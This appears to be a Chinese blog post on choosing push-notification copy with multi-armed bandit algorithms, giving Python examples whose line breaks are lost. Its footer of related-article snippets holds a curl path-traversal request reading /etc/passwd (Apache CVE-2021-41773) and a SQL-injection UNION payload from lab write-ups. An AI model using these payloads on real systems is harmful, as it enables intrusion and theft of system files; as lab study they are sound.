【算法业务】基于Multi-Armed Bandits的个性化push文案自动优选算法实践

1. 背景介绍  

        该工作属于多年之前的用户增长算法业务项目。在个性化push中,文案扮演非常重要的角色,是用户与push的商品之间的桥梁,文案是用户最直接能感知的信息。应该说在push产品信息之外,最重要的就是文案,直接能够影响push曝光的打开率。好的文案能够诱导用户点击打开。

        文案的表现会随着场景信息 ( 时间、地点等 ) 的变化而变化,编辑人工撰写的文案的质量有一定保证,利用 E&E 算法进行探索时不会严重地影响用户体验而导致用户流失。

        文案示例:

  • 请收下这波安利    亲爱的,性价比超高的沃德百惠盘子都在这里,快去看看>>
  • 【优惠提醒】   你感兴趣的千芝雅防护口罩已降至59.9元,今天还可领20.0元优惠券,下单更优惠哦!点击领券 >>
  • 开抢提醒      你已订阅的商品已开抢:双枪银离子零胶水小麦材质防霉健康砧板
  • 猜你喜欢      猜你喜欢海南金煌芒5斤装 多规格任选,猛戳抢好货>>
  • 不能错过的爆款!!  大家都在抢的超级爆款原生亲肤卷纸,手慢无>>

        push类型示例:

1元秒杀

奖励待领取(粉丝引导下首单奖励)

粉丝未下单提醒 (粉丝引导下首单奖励)

Vip升级提醒

今日爆款

优惠提醒(感兴趣)

降价提醒(浏览过,购物车)

今日必买(降价提醒)

签到红包(奖励金)

美妆好物领券

通知(100元待领取)

免费水果(果园)

不能错过的爆款(爆款)

新品上架提醒(邀请好友)

个人排名刺激

专属虚拟币待领取

奖励到账

店铺好友访问

果树在呼唤你(果园)

粉丝未下单(新人专享好货,下单5元)

优惠券到期提醒(到期、过期)

优惠券到账

购物车商品降价(降价信息)

免息用钱(免息10天)

(冬装清仓)降价信息

降价提醒(关注的产品秒杀中)

销量排名,刺激奖励(销售奖励)

商品降价啦(降价提醒)

20万现金待激活(新人红包)

购物金(权益)

订单未支付(未支付提醒)

收入增加提醒(新增收益0.01元)

宝贝已降价(降价信息)

        在这里,我们将文案模板优化建模为多臂 Bandit 问题。每一条文案相当于老虎机的一条臂,当你选择一条臂,会带了一定的收益,收益可正可负。“正”表示使用了文案A给用户U push,用户U点击打开进入落地页,同理,负表示用户未打开直接忽视,这里对由于消息发送失败或者用户屏蔽导致未打开的情况暂时不做区分。显然有一些文案会更受用户青睐,而有部分则不太可能引起用户兴趣。假如在分发的过程中使用随机选取,就造成了等权问题,更理想的情况是对于收益高的文案进行利用,而受益低的可以减少利用,对于由于测试次数少暂时还不能准确判断受益的文案,进行探索。

2. MAB算法介绍及对比分析

        文案上线了个性化推送功能后,加入了新的用户特征,并且随着测试次数的累增,各条文案的收益逐步分化,有些文案能够带来更高的点击,而有些偏低。在这样的背景,可以采用基于E&E的强化学习文案优选算法,这里做一些算法适用性讨论。

        这里我们基于实际数据以及环境资源,进行了3种方案的对比选择:

2.1 UCB

        UCB(Upper Confidence Bound - 置信上限)就是以收益(bonus)均值的置信区间上限代表对该arm未来收益的预估值:

        其中\hat{\mu_i}是对arm  i 期望收益的预估,n是总的选择次数, n_i是对arm  i的尝试次数,可以看到尝试越多,其预估值与置信上限的差值就越小,也就是越有置信度。

        代码示例:

import numpy as np
k_arm_data = [[350573,6787,3097],[482356,7492,3783],[483053,7696,3479],[482243,8678,3802],[482160,9078,4096],[1,0,0]]def sum_func(k_arm_data, index):total_num = 0for data in k_arm_data:total_num += data[0]return total_numdef UCB():t = float(sum_func(k_arm_data, 0))UCB = []for k in range(len(k_arm_data)):totals = k_arm_data[k][0] successes = k_arm_data[k][1]estimated_means = successes*1.0/totalsk_UCB = estimated_means + np.sqrt(2*np.log(t)/totals)UCB.append(k_UCB)return np.argmax(UCB)for i in range(5):print(UCB())

        结论:从实际数据测试下来,UCB的确定性过高,在我们的数据上很难起到探索的作用,只会选择各个场景下的唯一一条最好的文案,不符合预期。

2.2 Thompson Sampling

        Thompson Sampling相对UCB,对反馈引入了随机性。对数据延迟反馈和批量数据反馈相比其他 Bandit 算法更加准确。Thompson Sampling 假设第 i 个臂拥有先验 Beta(1,1),Beta(1,1) 是 (0,1) 的均匀分布。采用 Batched Thompson Sampling,每个臂的 Beta 分布只在每批次的结尾更新。对于传统的 Bernoulli Bandits 的 Thompson Sampling 算法,如果观测到点击行为,被选择臂的 Beta(α,β) 更新为 Beta(α+1,β),否则更新为 Beta(α,β+1)。

        对于 Batched Thompson Sampling,采用两种更新机制:求和更新与归一化更新【4】。

适用场景

  • 求和更新 更适合批次反馈量较为稳定的场景。
  • 归一化更新 更适合批次反馈量不均衡或者不同批次之间存在显著差异的情况。它能够平滑掉因批次反馈数量差异导致的参数波动,使得模型在面对不稳定的批次反馈数据时表现更为鲁棒。

        由于TS依赖于beta函数,因此这里我们选用发送量和曝光pv,曝光uv的实际数据验证了beta分布,还是蛮符合我们的要求的。

from scipy.stats import betadef test_beta_distribution():a, b = 9078, 4096r = beta.rvs(a, b, size=10)print(r)a1, b1 = 5539, 2567r1 = beta.rvs(a1, b1, size=10)print(r1)a2, b2 = 1, 1r2 = beta.rvs(a2, b2, size=10)print(r2)a3, b3 = 2195, 1028r3 = beta.rvs(a3, b3, size=10)print(r3)if __name__ == '__main__':test_beta_distribution()[0.69575504 0.68626875 0.68873306 0.68593713 0.69575653 0.687542730.68937758 0.68530153 0.68749733 0.68397584]
[0.6851433  0.67626678 0.68429746 0.67905056 0.68655858 0.693242910.68437178 0.68259162 0.68661927 0.67916696]
[0.84763723 0.59356287 0.3363573  0.48248605 0.10986077 0.002112990.15710948 0.22735167 0.46674019 0.9081156 ]
[0.67520224 0.67626631 0.68193351 0.68757709 0.67433103 0.671799570.66383093 0.67666561 0.67411215 0.69284938]

结论: 从分布来看,TS符合我们的预期。

2.3 epsilon-greedy

        \varepsilon-greedy算法倾向选择reward最大的文案,这种行为较为greedy。利用epsilon参数进行控制利用还是探索。利用是指选择目前为止平均reward最大的文案,这里的reward使用uv曝光率刻画。探索是指从文案空间中随机选择一个文案。虽然方法很简单,但在实际应用中,往往会取得优于UCB的效果。当然这里利用的机制,我们也可以采用softmax,选择平均收益较大的topK个文案的随机,而不是强制选择top1.

import numpy as npepsilon = 0.5
k_arm_data = [[350573,6787,3097],[482356,7492,3783],[483053,7696,3479],[482243,8678,3802],[482160,9078,4096],[1,0,0]]
num_arm = len(k_arm_data)
reward = []
for i in range(len(k_arm_data)):reward.append(k_arm_data[i][2]*1.0/k_arm_data[i][0])def epison_greedy(epsilon):if np.random.random() > epsilon:index = np.argmax(reward)else:index = np.random.randint(0, num_arm)return indexcount = [0 for i in range(6)]
for i in range(1000000):index = epison_greedy(epsilon)count[index] += 1   print(count)#[583665, 83015, 83491, 83035, 83266, 83528]

演进的方向:

        上下文特征:利用上下文特征对Thompson Sampling进行优化,或者使用其他contexture bandit,能够利用用户文案的特征进行个性化。这个和推荐系统就非常的像。上下文特征就是我们拥有的用户信息,环境信息以及产品信息,基于这些特征我们可以对先验进行估计,然后结合Thompson Sampling进行实验。

3. MAB for Recommender分享材料

        这个材料是当时在团队内部做的关于MAB for recommender的分享,这里也做一下记录:

动机

案例

The Multi-armed bandits定义

Bandits类别

累积后悔值定义

context-free算法

累积探索后悔值趋势对比

Contextual Bandits

动机

Contextual Bandits问题定义

Linear regression

Linear Upper Confidence Bounds(LinUCB)

Calculating Linear Upper Confidence Bounds

LinUCB

Yahoo! News Recommendation示例

Netflix Video Rec Application示例

4. 参考资料

【1】The Multi Armed Bandit Problem And Its Solutions

【2】Thompson Sampling for Contextual bandits | Guilherme’s Blog

【3】GitHub - david-cortes/contextualbandits: Python implementations of contextual bandits algorithms

【4】Bandit算法在携程推荐系统中的应用与实践

【5】Stochastic Bandits and UCB Algorithm

【6】Regret Bounds for Thompson Sampling

【7】Adversarial Bandits and the Exp3 Algorithm

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/148631.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

【二等奖论文】2024年华为杯研究生数学建模F题成品论文

您的点赞收藏是我继续更新的最大动力! 一定要点击如下的卡片,那是获取资料的入口! 【全网最全】2024年华为杯研赛F题保奖思路matlab/py代码成品论文等(后续会更新完整 点击链接加入群聊【2024华为杯研赛资料汇总】:ht…

BUUCTF-MISC-荷兰宽带数据泄露

下载附件得到一个二进制文件 通过题目猜测这是一段路由器备份日志,可以使用RouterPassView打开 链接: https://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k 下载链接http://pan.baidu.com/s/1tY5Sdl8GcI5dKQdhPXj5yA?pwdhi9k注意,这个软件会报毒…

二、电脑入门2之常用dos命令

打开dos命令窗口 win R 常用dos命令 dir: 列出当前目录下的所有文件以及目录 cls :清理屏幕 exit: 关闭dos命令窗口 c:(盘字母后带冒号) 切换盘符 del: 删除文件 ipconfig : 查看IP信息 ipconfig/all &#xf…

导入时,文档模板不被下载

问题描述 提示:这里描述项目中遇到的问题: 这是个SSM项目,以前经常遇到这个问题,今天有幸记录下来 [ERROR][o.a.s.r.StreamResult] Can not find a java.io.InputStream with the name [downLoadFile] in the invocation stack…

Apache CVE-2021-41773 漏洞复现

1.打开环境 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2.访问靶场 3.使用poc curl http://47.121.191.208:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 4.工具验证

uni-icons自定义图标详细步骤及踩坑经历

一、详细步骤 获取图标 1.访问iconfont-阿里巴巴矢量图标库,搜索图标并加入购物车: 2.点击页面右上角购物车图标 ,点击添加至项目,如没有项目,需要点击下图第二步的图标新建一个项目目录,如已经有项目则…

Leetcode面试经典150题-39.组合总数进阶:40.组合总和II

本题是扩展题,真实考过,看这个题之前先看一下39题 Leetcode面试经典150题-39.组合总数-CSDN博客 给定一个候选人编号的集合 candidates 和一个目标数 target ,找出 candidates 中所有可以使数字和为 target 的组合。 candidates 中的每个数…

sql-labs靶场

第一关(get传参,单引号闭合,有回显,无过滤) ?id-1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schemasecurity) -- 第二关(get传参,无闭…

阅读CVPR论文——mPLUG-Owl2:革命性的多模态大语言模型与模态协作

读后感悟: 1)实验部分非常丰富,并且论文中的图制作的非常精美,论文开篇的图制作的别出心裁,将几种不同的方法表现出的性能差异不是以普通的表格形式展现,而是制作成了一副环状折线图,论文中其他…

VS Code 技巧

在编程世界里,工具的好坏取决于使用者的水平。Visual Studio Code(VS Code)就像一把锋利的刀,它功能强大,但需要熟练的技巧才能发挥出色。然而,对于初学者来说,它可能显得有些复杂,因…

BaseCTF2024 web

Web [Week1] HTTP 是什么呀 GET: ?basectf%77%65%31%63%25%30%30%6d%65POST: BaseflgX-Forwarded-For:127.0.0.1Referer: BaseCookie: c00k13i cant eat itUser-Agent: Base有Location跳转, 抓包得到flag: QmFzZUNURntkZGUzZjA0Yy1hMDg5LTQwNGMtOTFjNi01ODZjMzAxMzM3Y2J9Cg…

mysql复合查询 -- 合并查询(union,union all)

目录 合并查询 介绍 表数据 union 使用场景 ​编辑 示例 union all 合并查询 介绍 它不像笛卡尔积那种,将行信息做乘法 合并只是单纯地合在一起求的是两个结果集的并集,并且会自动去掉并集中的重复行 注意,因为是求并集,会将两个结果进行拼接 所以要保证列信息相同 表…

深度解读 2024 Gartner DevOps 魔力象限

上周 Gartner 刚发布了 2024 年度的 DevOps 魔力象限。我们也第一时间来深度解读一下这份行业里最权威的报告。 和2023年对比 23 年入围 14 家厂商,24 年入围 11 家。4 家厂商从报告中消失,分别是 Bitrise, Codefresh, Google Cloud Platform (GCP), VM…

02【Matlab系统辨识】白噪声

1.白噪声与有色噪声 1.1 白噪声(white noise) 系统辨识中所用到的数据通常都含有噪声。从工程实际出发,这种噪声往往可以视为具有有理谱密度的平稳随机过程。白噪声是一种最简单的随机过程,是由一系列不相关的随机变量组成的理想化随机过程。白噪声的数…

百度C++一面面经总结

1、你知道网络编程服务端建立连接的流程吗?把用到的api说出来? server: 1.socket() int sockfd socket(AF_INET, SOCK_STREAM, 0);2.bind() struct sockaddr_in serv_addr; serv_addr.sin_family AF_INET; serv_addr.sin_addr.s_addr I…

jmeter发送邮件:详细步骤与功能配置指南?

jmeter发送邮件如何设置?怎么配置JMeter以发送邮件? Apache JMeter作为一款强大的性能测试工具,不仅可以用于测试Web应用的性能,还可以通过插件扩展其功能,实现诸如发送邮件等操作。AokSend将详细介绍如何使用JMeter发…

HarmonyOS鸿蒙开发实战( Beta5.0)Web组件预览PDF文件实现案例

鸿蒙HarmonyOS开发实战往期必看文章:(持续更新......) HarmonyOS NEXT应用开发性能实践总结(持续更新......) HarmonyOS NEXT应用开发案例实践总结合集(持续更新......) 一分钟了解”纯血版&…

线程1(重点知识)

线程 1.线程的概念: 线程是进程中的⼀个执行单元,负责当前进程中程序的执行,⼀个进程中至少有⼀个线程 ⼀个进程中是可以有多个线程 多个线程共享同一个进程的资源,每个线程参与操作系统的统一调度 可以简单理解: 进程 进程资源…

平衡二叉树(AVL树):原理、常见算法及其应用

目录 引言 AVL树的基本概念 常见算法 插入节点 查找节点 删除节点 AVL树的应用场景 1. 数据库索引 2. 符号表 3. 字典和词汇表 4. 动态集合 5. GPS导航系统 6. 计算机辅助设计(CAD) 结论 引言 平衡二叉树(Balanced Binary Tre…

【JAVA开源】基于Vue和SpringBoot的甘肃非物质文化网站

本文项目编号 T 042 ,文末自助获取源码 \color{red}{T042,文末自助获取源码} T042,文末自助获取源码 目录 一、系统介绍二、演示录屏三、启动教程四、功能截图五、文案资料5.1 选题背景5.2 国内外研究现状5.3 可行性分析 六、核心代码6.1 查…